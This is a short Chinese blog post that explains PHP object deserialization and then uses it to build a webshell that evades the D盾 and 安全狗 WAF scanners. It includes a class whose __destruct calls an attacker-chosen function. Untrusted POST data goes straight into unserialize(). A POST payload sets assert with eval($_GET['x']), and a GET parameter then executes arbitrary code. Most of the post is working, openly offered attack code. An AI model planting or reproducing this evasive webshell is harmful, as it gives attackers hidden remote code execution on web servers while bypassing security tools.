PHP反序列化介绍
在PHP进行反序列化时,会将序列化中的变量传入类中,并且调用__destuct等魔法函数。巧妙应用可达到免杀D盾,过安全狗等WAF软件的效果。
TestCode1:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
<?php class A{ public $name = 'xxxx'; function __destruct(){ echo $this->name; } } echo serialize(new A()); ?> |
输出:
xxxxO:1:"A":1:{s:4:"name";s:4:"xxxx";}
TestCode2:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
<?php class A{ public $name = 'xxxx'; function __destruct(){ echo $this->name; } } unserialize('O:1:"A":1:{s:4:"name";s:9:"wogaosuni";}'); ?> |
输出:
wogaosuni
可以发现原来的变量已经被我们替换了。
利用反序列化写马绕过D盾等WAF
代码不做过多解释,啥子都能看明白
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
<?php class A{ public $name; public $male; function __destruct(){ $a = $this->name; $a($this->male); } } unserialize($_POST['un']); ?> |
POST传参传入
1 |
un=O:1:"A":2:{s:4:"name";s:6:"assert";s:4:"male";s:16:"eval($_GET["x"])";} |
GET传参传入:
1 |
x=phpinfo(); |
效果
文章作者:f4ckweb,via
原文连接:利用PHP反序列化免杀D盾、安全狗等WAF软件
所有媒体,可在保留署名、
原文连接
的情况下转载,若非则不得使用我方内容。